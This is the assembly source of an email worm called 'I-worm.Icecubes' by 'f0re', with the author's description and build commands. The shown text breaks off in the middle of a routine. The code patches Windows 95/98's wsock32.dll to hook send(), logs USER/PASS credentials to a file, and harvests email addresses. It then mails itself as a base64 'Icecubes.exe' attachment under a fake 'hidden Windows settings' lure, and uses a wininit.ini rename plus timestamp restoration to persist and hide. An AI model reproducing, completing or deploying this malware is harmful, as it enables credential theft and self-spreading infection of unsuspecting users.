;****************************************************************************;
;----------------------------------------------------------------------------;
;    			     I-worm.Icecubes v 1.05
; 				written by f0re 
;----------------------------------------------------------------------------;
;============================================================================;
;
; ABOUT
; -----
;
; Welcome to the sourcecode of my first i-worm. I have given this worm its
; name, i-worm.Icecubes, because of two reasons. First of all, here where
; i live the summer is coming..and i like icecubes in my drinks :).
; Secondly it is because of the joke behind the worm host code; when a user 
; receives the worm in his mailbox, the emailmessage looks like this:
;
; Subject: Fw: Windows Icecubes ! 
;
; ----- Original Message -----
;
; >Look at what I found on the web. This tool scans your system for hidden
; >Windows settings.
; >These settings, which are better known as the "Windows Icecubes", were
; >built in Windows by
; >the programmers at Microsoft and were supposed to be kept secret. 
; >
; >Just take a look, cause I think you might want to make some changes ;).
; >
;
;
; EXECUTION
; ---------
;
; When the worm is executed it will first check whether it is being executed
; under win 95/98. If any other version of windows is found, it will skip the
; infection procedure and run the worm-host code immediately. 
;
; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it
; to wsock32.inf. It also copies itself to the windows system directory under 
; the name wsock2.dll. Then it will add the worm code to the .inf file by
; increasing the size of the last section.
; Next the worm will point the send api address in the wsock32.inf export table
; to the virus code. Finally the worm drops a wininit.ini file in the windir
; to direct windows at the next reboot to overwrite the original wsock32.dll
; with the infected wsock32.inf.
;
; Then the worm will execute the worm host code; a progressbar followed by
; funny dialog (check it out for yourself :).
;
;
; SEND HOOK
; ---------
;
; Once the wsock32.dll api-hook-routine receives control it will scan the send
; buffer for usernames and or passwords. If these are found, they are stored in the
; file <windir>/icecube.txt. If an email is being sended, the worm will extract the
; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)
; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and
; prepare a new email with the encoded host attached. The body of the email contains
; the text as shown in the ABOUT section of this description. This new email will
; be send after the original email has been send (this is also known as the
; happy99 technique).
;
;
; THANKS
; ------
;
; I'd like to thank the following persons who helped me with my many
; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,
; urgo32, Lifewire, dageshi and T-2000.
;
; 
;****************************************************************************;
;
; To compile: 
;
;       tasm32 icecubes.asm /ml /m
;       tlink32 -aa icecubes.obj import32.lib
;
;       brcc32 icecubes.rc
;       brc32.exe icecubes.res 
;
;****************************************************************************;

.386
.model flat, stdcall

locals
jumps
	extrn ExitProcess:PROC
	extrn DialogBoxParamA:PROC
	extrn GetModuleHandleA:PROC
	extrn EndDialog:PROC
	extrn GetWindowRect:PROC
	extrn GetDesktopWindow:PROC
	extrn MoveWindow:PROC
	extrn CreateThread:PROC
	extrn SendDlgItemMessageA:PROC
	extrn SetDlgItemTextA:PROC
	extrn CloseHandle:PROC
	extrn GetDlgItemTextA:PROC
	extrn GetModuleHandleA:PROC
	extrn GetVersion:PROC

.data

    Start:
	xor ebp, ebp

    CheckWindowsVersion:
	call GetVersion
	or eax, eax
	jz ReturnToWormHost

    MainRoutines:
	pushad
	call GET_GETPROCADDRESS_API_ADDRESS		
	call GET_WINDIR
	call GET_SYSDIR
	call INFECT_WSOCK
	call COPY_HOST_FILE
	popad

    ReturnToWormHost:
	jmp OriginalHost

;==============================[ includes ]==================================;

	include windows.inc
	include wsocks.inc
	include myinc.inc

;=============================[ ic-data.inc ]===============================;

; get_gpa.inc data
	kernel32address 		dd 0BFF70000h
	numberofnames 			dd ?
	addressoffunctions 		dd ?
	addressofnames 			dd ?
	addressofordinals 		dd ?
	AONindex 			dd ?
	AGetProcAddress 		db "GetProcAddress", 0	
	AGetProcAddressA 		dd 0			

; directory.inc data
	currentdir 			db 100h dup(0)
	sysdir 				db 100h dup(0)
	windir 				db 100h dup(0)
	AGetSystemDirectory 		db "GetSystemDirectoryA",0
	AGetWindowsDirectory 		db "GetWindowsDirectoryA",0
	ASetCurrentDirectory		db "SetCurrentDirectoryA",0

; infect_wsock.inc
	wsock32dll 			db "Wsock32.dll",0
	wsock32inf 			db "Wsock32.inf",0
	ACopyFile 			db "CopyFileA",0		
	infectionflag 			db 0
	AFindFirstFile 			db "FindFirstFileA",0
	myfinddata 			WIN32_FIND_DATA <>
	filesize			dd 0
	memory 				dd 0
	ADeleteFile 			db "DeleteFileA",0

; infect_file.inc
	ASetFileAttributes 		db "SetFileAttributesA",0
	ACreateFile			db "CreateFileA",0
	ACreateFileMapping 		db "CreateFileMappingA",0
	AMapViewOfFile 			db "MapViewOfFile",0	
	filehandle			dd 0	
	maphandle 			dd 0
	mapaddress 			dd 0	
	PEheader 			dd 0
	imagebase 			dd 0
	imagesize 			dd 0
	wnewapiaddress 			dd 0
	AUnmapViewOfFile 		db "UnmapViewOfFile",0
	ACloseHandle 			db "CloseHandle",0
	ASetFilePointer 		db "SetFilePointer",0
	ASetEndOfFile 			db "SetEndOfFile",0
	ASetFileTime 			db "SetFileTime",0

; hook_api.inc
	woldapiaddress 			dd 0

; rva_to_raw.inc
	rva2raw 			dd 0	

; get_api.inc
	user32address			dd 0
	wsock32address 			dd 0	

; create_ini_file.inc
	inifile 			db "wininit.ini",0
	writtensize 			dw 0
	inicrlf				db 0dh,0ah,0
	rename				db "[rename]",13,10	
	slashsign 			db "/",0
	equalsign			db "=",0
	writtenbytes			dd 0
	AWriteFile 			db "WriteFile",0

; ws_copy_host_file
	AGetModuleFileName 		db "GetModuleFileNameA",0

; get_bases.inc
	ALoadLibrary 			db "LoadLibraryA",0	
	k32 				db "KERNEL32.dll",0
	user32 				db "USER32.dll",0
	wsock32 			db "WSOCK32.dll",0

; host_code.inc
	dlgrect 			RECT <>
	desktoprect 			RECT <>	
	dlgwidth			dd 0
	dlgheight 			dd 0
	threadid			dd 0
	initflag			dd 0
	okflag				dd 0
	flag	 			dd 0
	pastvalue			dd 0
	currentvalue			db '2',0
	doneflag			dd 0
	value11				db "Days",0
	value12				db "Weeks",0
	value13				db "Months",0
	value14				db "Years",0
	value3				db "5000",0
	value4				db "17",0

; ic.asm
	hInst 				dd 0

; write_to_file.inc
	passwordfile			db "icecube.txt",0

; ws_intercept.inc
	socketh 			dd 0
	status 				db 0
	AGlobalAlloc 			db "GlobalAlloc",0
	fromaddress 			dd 0
	fromsize    			dd 0
	rcptnumber 			dd 0
	rcpt_buffer_address 		dd 0
	rcpt_size_address		dd 0
	totalrcptsize			dd 0
	fromtag				db 'From:',0
	totag				db 'To:',0
	mimeendtag			db '>',0
	mimefrom_address 		dd 0
	mimefromsize			dd 0
	fromstatus			db 0
	tostatus			db 0
	toendtag			db 'Subject:',0
	mimetosize			dd 0
	mimeto_address 			dd 0

; ws_b64_encoder.inc
	encTable        		db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'
         	           		db 'wxyz0123456789+/'
; ws_attachment
	wsock2				db "Wsock2.dll",0	
	smHnd           		dd 0       			
	dmHnd           		dd 0	
	bytesread       		dd 0    
	encodedsize 			dd 0	
	AReadFile 			db "ReadFile",0
	AGetFileSize 			db "GetFileSize",0

; ws_send_mail
	email_buffer_address 		dd 0	
	email_size			dd 0
	datatag 			db 'DATA',0dh,0ah
	emailid				db 'Message-ID: <a1234>',0dh,0ah
	emailstart  			db 'Subject: Fw: Windows Icecubes !',0dh,0ah
		        		db 'MIME-Version: 1.0',0dh,0ah
                			db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah
                			db 0dh,0ah,'--a1234',0dh,0ah
					db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah
	        	    		db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah
					db 0dh,0ah
					db '----- Original Message -----', 0dh,0ah
					db 0dh,0ah
					db '>Look at what I found on the web. This tool scans your system for hidden Windows settings.', 0dh, 0ah
					db '>These settings, which are better known as the "Windows Icecubes", were built in Windows by', 0dh,0ah
					db '>the programmers at Microsoft and were supposed to be kept secret. ',0dh,0ah
					db '>',0dh,0ah
					db '>Just take a look, cause I think you might want to make some changes ;).',0dh,0ah
		        		db '>',0dh,0ah
		          		db 0dh,0ah
  			   		db 0dh,0ah,'--a1234',0dh,0ah
                			db 'Content-Type: application/octet-stream; name="Icecubes.exe"'
                			db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah
	                		db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh,0ah,0dh,0ah
	emailend    			db 0dh,0ah
	emailtail   			db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah
	endtag				db 0Dh,0Ah,2Eh,0Dh,0Ah		
	timedate			SYSTEMTIME <>
	AMessageBox 			db "MessageBoxA",0
	AGetSystemTime			db "GetSystemTime",0	
	msgmessage 			db "Windows detected icecubes on your harddrive.",10,13
					db "This may cause the system to stop responding.",10,13
					db "Do you want Windows to remove all icecubes ?",0	
	windowtitle 			db "I-worm.Icecubes / f0re",0	
	ASend 				db "send",0
	ARecv 				db "recv",0
	recvbuffer			db 100h dup(0)

;============================[ ic-get_gpa.inc ]=============================;

GET_GETPROCADDRESS_API_ADDRESS proc
	
    LoadExportTableData:
    	mov edi, [ebp + kernel32address]		; get exporttable
	add edi, [edi + 3ch]				; address from
    	mov esi, [edi + 78h]				; kernel's PE header
	add esi, [ebp + kernel32address]		
    	
	mov eax, dword ptr [esi + 18h]			
	mov [ebp + numberofnames], eax			; save number of names
		
	mov eax, dword ptr [esi + 1Ch]			; get ra of table with 
    	add eax, [ebp + kernel32address]		; pointers to funtion
    	mov [ebp + addressoffunctions], eax		; addresses

	mov eax, dword ptr [esi + 20h]			; get ra of table with
    	add eax, [ebp + kernel32address]		; pointers to names
    	mov [ebp + addressofnames], eax			; of functions
	
	mov eax, dword ptr [esi + 24h]			; get ra of table with
	add eax, [ebp + kernel32address]		; pointers to ordinals
	mov [ebp + addressofordinals], eax		; of functions

    BeginProcAddressSearch:
    	mov esi, [ebp + addressofnames]			; search for GetProc
    	mov [ebp + AONindex], esi			; Address API in names
    	mov edi, [esi]					; table
    	add edi, [ebp + kernel32address]		
    	xor ecx, ecx					
    	lea ebx, [ebp + AGetProcAddress]		

    TryAgain:
    	mov esi, ebx					

    MatchByte:
    	cmpsb
    	jne NextOne					
    	cmp byte ptr [esi], 0				; did the entire string
    	je GotIt					; match ?
    	jmp MatchByte

    NextOne:
    	inc cx						
    	add dword ptr [ebp + AONindex], 4		; get next namepointer
    	mov esi, [ebp + AONindex]			; in table (4 dwords)
    	mov edi, [esi]					
    	add edi, [ebp + kernel32address]		; align with kernelbase
    	jmp TryAgain

    GotIt:
    	shl ecx, 1					
    	mov esi, [ebp + addressofordinals]		; ordinal = nameindex *
    	add esi, ecx					; size of ordinal entry
    	xor eax, eax					; + ordinal table base
    	mov ax, word ptr [esi]				
    	shl eax, 2					; address of function =
    	mov esi, [ebp + addressoffunctions]		; ordinal * size of
    	add esi, eax					; entry of address 
    	mov edi, dword ptr [esi]			; table + base of 
    	add edi, [ebp + kernel32address]		; addresstable
    	mov [ebp + AGetProcAddressA], edi		; save GPA address
	ret	
  
GET_GETPROCADDRESS_API_ADDRESS endp

;===========================[ ic-get_bases.inc ]============================;

GET_WSOCK32_BASE_ADDRESS proc

    LoadWsock32:
	lea eax, [ebp + wsock32]			; not found, then
	push eax					; load the dll
	lea eax, [ebp + ALoadLibrary]			; first
	call GETAPI
	mov [ebp + wsock32address], eax
	ret

GET_WSOCK32_BASE_ADDRESS endp

GET_USER32_BASE_ADDRESS proc

    GetUser32Base:
	lea eax, [ebp + user32]				
	push eax					
	lea eax, [ebp + ALoadLibrary]			
	call GETAPI					
	mov [ebp + user32address], eax
	ret

GET_USER32_BASE_ADDRESS endp

;============================[ ic-get_api.inc ]=============================;

GETAPI proc

	push eax					
	push dword ptr [ebp + kernel32address]		; load kernelbase
	call [ebp + AGetProcAddressA]			; and get api address
	jmp eax						; call the api
	ret						; return
	 
GETAPI endp

GETUAPI proc

	push eax					
	push dword ptr [ebp + user32address]		; load wsockbase
	call [ebp + AGetProcAddressA]			; and get api address
	jmp eax
	ret

GETUAPI endp

GETWAPI proc

	push eax					
	push dword ptr [ebp + wsock32address]		; load wsockbase
	call [ebp + AGetProcAddressA]			; and get api address
	jmp eax
	ret

GETWAPI endp

;==========================[ ic-directory.inc ]=============================;
	
GET_WINDIR proc

    GetWindowsDir:
	push 128h					; size of dirstring		
	lea eax, [ebp + windir]				; save it here
	push eax
	lea eax, [ebp + AGetWindowsDirectory]		; get windowsdir
	call GETAPI
	ret

GET_WINDIR endp

GET_SYSDIR proc

    GetSystemDir:
	push 128h					; size of dirstring		
	lea eax, [ebp + sysdir]				; save it here
	push eax
	lea eax, [ebp + AGetSystemDirectory]		; get system dir
	call GETAPI
	ret

GET_SYSDIR endp

SET_WINDIR proc

    SetWindowsDir:
	lea eax, [ebp + windir]				; change to sysdir
	push eax
	lea eax, [ebp + ASetCurrentDirectory]	
	call GETAPI
	ret

SET_WINDIR endp

SET_SYSDIR proc

    SetSystemDir:
	lea eax, [ebp + sysdir]				; change to sysdir
	push eax
	lea eax, [ebp + ASetCurrentDirectory]	
	call GETAPI
	ret

SET_SYSDIR endp

;=========================[ ic-infect_wsock.inc ]===========================;

INFECT_WSOCK proc

    WsockSetSystemDirectory:
	call SET_SYSDIR
 
    CopyWSockFile:
	push 00h
	lea eax, [ebp + wsock32inf]
	push eax	
	lea eax, [ebp + wsock32dll]
	push eax
	lea eax, [ebp + ACopyFile]
	call GETAPI
	
    SearchWsockFile:
	mov [ebp + infectionflag], 00h
	lea eax, [ebp + myfinddata]			; win32 finddata structure
	push eax
	lea eax, [ebp + wsock32inf]			; get wsock32.inf
	push eax
	lea eax, [ebp + AFindFirstFile]			; find the first file
	call GETAPI
	cmp eax, 0FFFFFFFh
	je WsockEndSearch
		
    GoInfectWsockInf:
	mov ecx, [ebp + myfinddata.fd_nFileSizeLow]	; ecx = filesize
	mov [ebp + filesize], ecx			; save the filesize
	add ecx, Leap - Start + 1000h			; filesize + virus
	mov [ebp + memory], ecx				; + workspace = memory
	call INFECT_FILE
	cmp [ebp + infectionflag], 01
	je DeleteWsockFile

	call CREATE_INI_FILE
	jmp WsockEndSearch

    DeleteWsockFile:
	lea eax, [ebp + wsock32inf]
	push eax
	lea eax, [ebp + ADeleteFile]
	call GETAPI

    DeleteIniFile2:
	call SET_WINDIR
	lea eax, [ebp + inifile]
	push eax
	lea eax, [ebp + ADeleteFile]
	call GETAPI

    WsockEndSearch:
	ret

INFECT_WSOCK endp

;=========================[ ic-infect_file.inc ]============================;

INFECT_FILE proc

     SetAttributesToNormal:
	push 80h	
	lea esi, [ebp + myfinddata.fd_cFileName]	; esi = filename	
	push esi
	lea eax, [ebp + ASetFileAttributes]	
	call GETAPI

     OpenFile:
	push 0						; template handle=0
	push 20h					; attributes=any file
	push 3						; type= existing file
	push 0						; security option = 0
	push 1						; shared for read
	push 80000000h or 40000000h			; generic read write
	push esi					; offset file name
	lea eax, [ebp + ACreateFile]
	call GETAPI

	cmp eax, 0FFFFFFFFh
	je InfectionError
	mov [ebp + filehandle], eax

;-------------------------------[ map file ]---------------------------------;

    CreateFileMapping:					; allocates the memory
	push 0						; filename handle = 0
	push dword ptr [ebp + memory]			; max size = memory
	push 0						; minumum size = 0
	push 4						; read / write access
	push 0						; sec. attrbs= default
	push dword ptr [ebp + filehandle]
	lea eax, [ebp + ACreateFileMapping]
	call GETAPI					; eax = new map handle

	mov [ebp + maphandle], eax
	or eax, eax
	jz CloseFile					

    MapViewOfFile:
	push dword ptr [ebp + memory]			; memory to map
	push 0						; file offset
	push 0						; file offset
	push 2						; file map write mode
	push eax					; file map handle
	lea eax, [ebp + AMapViewOfFile]			; ok map the file
	call GETAPI

	or eax, eax
	jz CloseMap
	mov esi, eax					; esi= base of map
	mov [ebp + mapaddress], esi			; save that base

    DoSomeChecks:
	cmp word ptr [esi], 'ZM'			; an exe file?
	jne UnmapView	
	cmp word ptr [esi + 38h], 'll'			; already infected?
	jne OkGo
	mov [ebp + infectionflag], 1			; set infectionflag
	jmp UnmapView	

    OkGo:
	mov ebx, dword ptr [esi + 3ch]			
	cmp ebx, 200h
	ja UnmapView
	add ebx, esi
	cmp dword ptr [ebx], 'EP'			; is it a PE file ?
	jne UnmapView
		
	mov [ebp + PEheader], ebx			; save ra PE header
	mov esi, ebx
	mov eax, [esi + 34h]
	mov [ebp + imagebase], eax			; save imagebase
	
;------------------------------[ append section ]----------------------------;

    LocateBeginOfLastSection:
	movzx ebx, word ptr [esi + 20d]			; optional header size
	add ebx, 24d					; file header size
	movzx eax, word ptr [esi + 6h]			; no of sections
	dec eax						; (we want the last-1
	mov ecx, 28h					; sectionheader)
	mul ecx						; * header size
	add esi, ebx					; esi = begin of last 
	add esi, eax					; section's header

    ChangeLastSectionHeader:
	or dword ptr [esi + 24h], 00000020h or 20000000h or 80000000h 

    NewAlignedPhysicalSize:
	mov eax, dword ptr [esi + 10h]			; old phys size
	push eax					; save it

	add eax, Leap-Start
	mov ecx, [ebp + PEheader]
	mov ecx, [ecx + 38h]
	div ecx						; and align it to
	inc eax						; the sectionalign
	mul ecx
	mov dword ptr [esi + 10h], eax  		; save it

    VirtualSizeCheck:
	mov edi, dword ptr [esi + 8h]			; get old 
	cmp eax, edi					; virtualsize
	jge NewVirtualSize

    VirtualSizeIsVirtual:
	add edi, Leap-Start				
	mov eax, edi
	mov ecx, [ebp + PEheader]
	mov ecx, [ecx + 38h]
	div ecx						; and align it to
	inc eax						; the sectionalign
	mul ecx

    NewVirtualSize:
	mov [esi + 8h], eax				; save new value

    NewAlignedImageSize:
	mov eax, dword ptr [esi + 0ch]			; get virtual offset	
	add eax, dword ptr [esi + 8h]			; + new virtual size
	mov [ebp + imagesize], eax			; = new imagesize

    NewAlignedFileSize:
	mov eax, dword ptr [esi + 10h]			; get new phys size
	add eax, dword ptr [esi + 14h]			; add offset of phys
	mov ecx, [ebp + PEheader]
	mov ecx, [ecx + 3ch]
	div ecx						; and align it to
	inc eax						; the filealign
	mul ecx	
	mov [ebp + filesize], eax			; size = filesize

    CalculateNewWsockApiAddress:
	pop eax
	push eax
	add eax, dword ptr [esi + 0ch]			; + virtual offset
	add eax, InterceptWsockApiCall - Start		; + ip
	mov [ebp + wnewapiaddress], eax			; new api address
	jmp HookDaApi

    HookDaApi:
	push esi
	call HOOK_API
	pop esi

    CopyVirusToEndOfFile:
	pop eax
	mov edi, eax
	add edi, [ebp + mapaddress]			; mapaddress
	add edi, [esi + 14h]				; add raw data offset
	lea esi, [ebp + Start]				; copy virus
	mov ecx, (Leap-Start)/4 + 4
	cld
	rep movsd

    UpdatePEHeaderWithChanges:
	mov esi, [ebp + mapaddress]	
	mov word ptr [esi + 38h], 'll'			; set infectionmark
	mov esi, [ebp + PEheader]	
	mov eax, [ebp + imagesize]		
	mov [esi + 50h], eax				; set new imagesize
    	
;--------------------------------[ unmap file ]------------------------------;

    UnmapView:
	push dword ptr [ebp + mapaddress]
	lea eax, [ebp + AUnmapViewOfFile]
	call GETAPI

    CloseMap:
	push dword ptr [ebp + maphandle]
	lea eax, [ebp + ACloseHandle]
	call GETAPI

  	push 0
	push 0
	push dword ptr [ebp + filesize]
	push dword ptr [ebp + filehandle]
	lea eax, [ebp + ASetFilePointer]
	call GETAPI

	push dword ptr [ebp + filehandle]
	lea eax, [ebp + ASetEndOfFile]
	call GETAPI

;--------------------------------[ close file ]------------------------------;

    CloseFile:
	push dword ptr [ebp + myfinddata.fd_ftLastWriteTime]
	push dword ptr [ebp + myfinddata.fd_ftLastAccessTime]
	push dword ptr [ebp + myfinddata.fd_ftCreationTime]
	push dword ptr [ebp + filehandle]
	lea eax, [ebp + ASetFileTime]
	call GETAPI

	push [ebp + filehandle]
	lea eax, [ebp + ACloseHandle]
	call GETAPI

    InfectionError:
	push dword ptr [ebp + myfinddata.fd_dwFileAttributes]
	lea eax, [ebp + myfinddata.fd_cFileName]	
	push eax
	lea eax, [ebp + ASetFileAttributes]
	call GETAPI
	ret

INFECT_FILE endp

;===========================[ ic-hook_api.inc ]=============================;

HOOK_API proc

    LoadWSockExportTableData:
    	mov edi, [ebp + PEheader]
    	mov esi, dword ptr [edi + 78h]			; rva export table
      
	mov edx, esi					; get RVA
	call RVA_TO_RAW
	mov esi, ecx
	mov eax, dword ptr [esi + 18h]			
	mov [ebp + numberofnames], eax			; save number of names

	push esi
	mov eax, dword ptr [esi + 1Ch]			; get ra of table with 

	mov edx, eax
	call RVA_TO_RAW
	mov eax, ecx					; pointers to funtion
	mov [ebp + addressoffunctions], eax		; addresses

	pop esi
	push esi
	mov eax, dword ptr [esi + 20h]			; get ra of table with
	
	mov edx, eax
	call RVA_TO_RAW
	mov eax, ecx					; pointers to names
    	mov [ebp+addressofnames],  eax			; of functions

	pop esi
	push esi
	
	mov eax, dword ptr [esi + 24h]			; get ra of table with
	mov edx, eax
	call RVA_TO_RAW
	mov eax, ecx					; pointers to ordinals
	mov [ebp+addressofordinals], eax		; of functions
	pop esi

    BeginSendAddressSearch:
    	mov esi, [ebp + addressofnames]			; search for 
    	mov [ebp + AONindex], esi			; API in names
    	mov edi, [esi]					; table

	mov edx, edi
	call RVA_TO_RAW
	mov edi, ecx
    	xor ecx, ecx	

    HookSendApi:
    	lea ebx, [ebp + ASend]		

    OkTryAgain:
    	mov esi, ebx					

    MatchByteNow:
    	cmpsb
    	jne NextOneNow					
    	cmp byte ptr [esi], 0				; did the entire string
    	je YesGotIt					; match ?
    	jmp MatchByteNow

    NextOneNow:
    	inc cx						
    	add dword ptr [ebp + AONindex], 4		; get next namepointer
    	mov esi, [ebp + AONindex]			; in table (4 dwords)
    	mov edi, [esi]					

	push ebx
	push ecx

	mov ebx, [ebp + mapaddress]
	mov edx, edi
	call RVA_TO_RAW
	mov edi, ecx

	pop ecx
	pop ebx
    	jmp OkTryAgain

    YesGotIt:
    	shl ecx, 1					
    	mov esi, [ebp + addressofordinals]		; ordinal = nameindex *
    	add esi, ecx					; size of ordinal entry
    	xor eax, eax					; + ordinal table base
    	mov ax, word ptr [esi]				; offset of address
    	shl eax, 2					; of function = ordinal
    	mov esi, [ebp + addressoffunctions]		; * size of entry of
    	add esi, eax					; address table
	mov edi, dword ptr [esi]			; get address

    SaveNewWsockApiAddress:
	mov [ebp + woldapiaddress], edi			; save it 

    ChangeWsock:
	mov eax, dword ptr [ebp + wnewapiaddress]	; new api address
	mov dword ptr [esi], eax			; set it
	ret

HOOK_API endp

;===========================[ ic-rva_to_raw.inc ]===========================;

RVA_TO_RAW proc

    ; In:  edx - RVA to convert
    ; Out: ecx - Pointer to RAW data or NULL if error

    GetRaw:
	mov ebx, [ebp + mapaddress]
	mov [ebp + rva2raw], edx

	mov esi, dword ptr [ebx + 3ch]
	add esi, ebx					; esi=offset peheader
	xor ecx, ecx
	mov cx, word ptr [esi + 06h]			; ecx = nr. of sections
	xor edi, edi
	mov di, word ptr [esi + 20d]			; optional header size
	add esi, 24d					; file header size
	add edi, esi					

    FindCorrespondingSection:
	mov eax, dword ptr [ebp + rva2raw]		; rva we want into raw
	mov edx, dword ptr [edi + 12d]			; section RVA
	sub eax, edx
	cmp eax, dword ptr [edi+08d]			; section size
	jb SectionFound

    NotThisSection: 
	add edi, 40d
	loop FindCorrespondingSection

    EndRawSearch:
	ret

    SectionFound:
	mov ecx, dword ptr [edi+20d]			; pntr to section's raw
	sub edx, ecx					; data from beginning 
	add ecx, eax					; of file
	add ecx, ebx
	ret

RVA_TO_RAW endp

;=========================[ ic-create_ini_file.inc ]========================;

CREATE_INI_FILE proc

    IniGetSetWindowsDir:
	call SET_WINDIR

    CreateInstallIni:
	push 0						; template handle=0
	push 20h					; attributes=any file
	push 4						; type= new file
	push 0						; security option = 0
	push 1						; shared for read
	push 80000000h or 40000000h			; generic read write
	lea eax, [ebp + inifile]
	push eax					; offset file name
	lea eax, [ebp + ACreateFile]
	call GETAPI	
	mov [ebp + filehandle], eax

    SetIniFilePointerToEnd:
	push 02h
	push 00h
	push 00h
	push [ebp + filehandle]
	lea eax, [ebp + ASetFilePointer]
	call GETAPI
	mov dword ptr [ebp + writtensize], 00h

    WriteInstallIniLoop:
	lea esi, [ebp + inicrlf]			
	xor ecx, ecx
	call StringSize
	call Write

	lea esi, [ebp + rename]				; write 'rename'
	mov word ptr [ebp + writtensize], 0Ah
	call Write

	lea esi, [ebp + sysdir]				; write systemdir
	xor ecx, ecx
	call StringSize
	call Write

	lea esi, [ebp + slashsign]			; write slash
	xor ecx, ecx
	call StringSize
	call Write

    WriteWsock32Dll:
	lea esi, [ebp + wsock32dll]			; write original dll
	xor ecx, ecx
	call StringSize
	call Write

    WriteOn:
	lea esi, [ebp + equalsign]			; write original dll
	xor ecx, ecx
	call StringSize
	call Write

	lea esi, [ebp + sysdir]				; write systemdir
	xor ecx, ecx
	call StringSize
	call Write

	lea esi, [ebp + slashsign]			; write slash
	xor ecx, ecx
	call StringSize
	call Write

     WriteInfectedWsock:
	lea esi, [ebp + wsock32inf]			; write original dll
	xor ecx, ecx
	call StringSize
	call Write
	jmp CloseInstallIni

    StringSize:
	cmp byte ptr [esi + ecx], 0h
	je GotSize
	inc ecx
	jmp StringSize

    GotSize:
	mov word ptr [ebp + writtensize], cx
	ret	

    Write:
	push 0h
	lea eax, [ebp + writtenbytes]
	push eax
	xor eax, eax
	mov ax, word ptr [ebp + writtensize]
	push eax
	push esi
	push dword ptr [ebp + filehandle]
	lea eax, [ebp + AWriteFile]
	call GETAPI
	ret

    CloseInstallIni:
	lea esi, [ebp + inicrlf]			; write original dll
	xor ecx, ecx
	call StringSize
	call Write

	push dword ptr [ebp + filehandle]
	lea eax, [ebp + ACloseHandle]
	call GETAPI
	ret

CREATE_INI_FILE endp

;=========================[ ic-copy_host_file.inc ]=========================;

COPY_HOST_FILE proc

    GetCurrentHostPath:
	push 100h
	lea eax, [ebp + currentdir]
	push eax
	push 00h
	lea eax, [ebp + AGetModuleFileName]
	call GETAPI

    SetSysDirectory:
	call SET_SYSDIR
    
    CopyWormHostFile:
	push 00h	
	lea eax, [ebp + wsock2]
	push eax
	lea eax, [ebp + currentdir]
	push eax
	lea eax, [ebp + ACopyFile]
	call GETAPI
	ret

COPY_HOST_FILE endp

;=========================[ ic-ws_intercept.inc ]===========================;

INTERCEPT_WSOCK proc

    InterceptWsockApiCall:
	push ebp
	call GetDelta

    GetDelta:
	pop ebp
	sub ebp, offset GetDelta
	pushad

    CheckStatus:
	mov eax, [esp+(8*4)+(1*4)+4 + 0]	 	; get send() socket
	mov [ebp + socketh], eax			; save it
	mov esi, [esp+(8*4)+(1*4)+4 + 4]	 	; send() buffer
	mov ecx, [esp+(8*4)+(1*4)+4 + 8]		; size of buffer
	
	pushad
 	call GET_GETPROCADDRESS_API_ADDRESS
	popad
      
    CheckForSecurityInfo:
	cmp [esi], 'RESU'
	je StoreBufferData
  	cmp [esi], 'SSAP'
	jne DontStore

    StoreBufferData:
	pushad
	call WRITE_TO_FILE
	popad
    
    DontStore:
	cmp [ebp + status], 00h				; monitoring==true ?
	je CheckMailFrom				; yes, we are
	cmp [ebp + status], 02h
	je CheckRcptTo
	cmp [ebp + status], 03h
	je CheckMimeFrom
	cmp [ebp + status], 05h
	je CheckQuit
	jmp Continue

    CheckMailFrom:
	mov esi, [esp+(8*4)+(1*4)+4 + 4]	 	; send() buffer
	mov ecx, [esp+(8*4)+(1*4)+4 + 8]		; size of buffer		
	cmp [esi], 'LIAM'
	jne Continue

    StoreMailFromTag:
	pushad
	call WRITE_TO_FILE
	popad

    SaveMailFrom:
	mov [ebp + fromsize], ecx
	push ecx
	push esi

	push ecx
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI

	or eax, eax
	jz ErrorWhileSending

	pop esi
	pop ecx	
	mov [ebp + fromaddress], eax
	mov edi, eax
	rep movsb
	mov [ebp + status], 02h

    CheckRcptTo:
	mov esi, [esp+(8*4)+(1*4)+4 + 4]	 	; send() buffer
	mov ecx, [esp+(8*4)+(1*4)+4 + 8]		; size of buffer		
	cmp [esi], 'TPCR'	
	jne CheckData

    AllocateRcptMemory:
	cmp [ebp + rcptnumber], 00h
	jne SaveRcptTo
	
	push ecx
	push esi

	push 500h
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI
	or eax, eax
	jz ErrorWhileSending				; mem for rctp email
	mov [ebp + rcpt_buffer_address], eax		; addresses

	push 100h
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI
	or eax, eax
	jz ErrorWhileSending				; mem for size of rctp 
	mov [ebp + rcpt_size_address], eax		; email addresses

	pop esi
	pop ecx	

    SaveRcptTo:
	push ecx					; store rcpt string
	mov edi, [ebp + rcpt_buffer_address]
	mov eax, [ebp + totalrcptsize]
	add edi, eax
	rep movsb
	pop ecx

	mov edi, [ebp + rcpt_size_address]		; store rcpt string size
	mov eax, [ebp + rcptnumber]
	mov edx, 04h
	mul edx
	add edi, eax
	mov dword ptr [edi], ecx

	mov eax, [ebp + totalrcptsize]			; calculate total size
	add eax, ecx					; of rcpts
	mov [ebp + totalrcptsize], eax

	mov eax, [ebp + rcptnumber]			; calculate number of 
	add eax, 01h					; rcpt we have
	mov [ebp + rcptnumber], eax
	jmp Continue

    CheckData:
	mov esi, [esp+(8*4)+(1*4)+4 + 4]	 	; send() buffer
	mov ecx, [esp+(8*4)+(1*4)+4 + 8]		; size of buffer		
	cmp [esi], 'ATAD'		
	jne Continue
	mov [ebp + status], 03h

    CheckMimeFrom:
	mov esi, [esp+(8*4)+(1*4)+4 + 4]	 	; send() buffer
	mov ecx, [esp+(8*4)+(1*4)+4 + 8]		; size of buffer

    MimeFromLoop:
	lea edi, [ebp + fromtag]
	push ecx
	push esi
	mov ecx, 05h
	rep cmpsb
	pop esi
	pop ecx
	je SearchMimeFromEnd
	inc esi
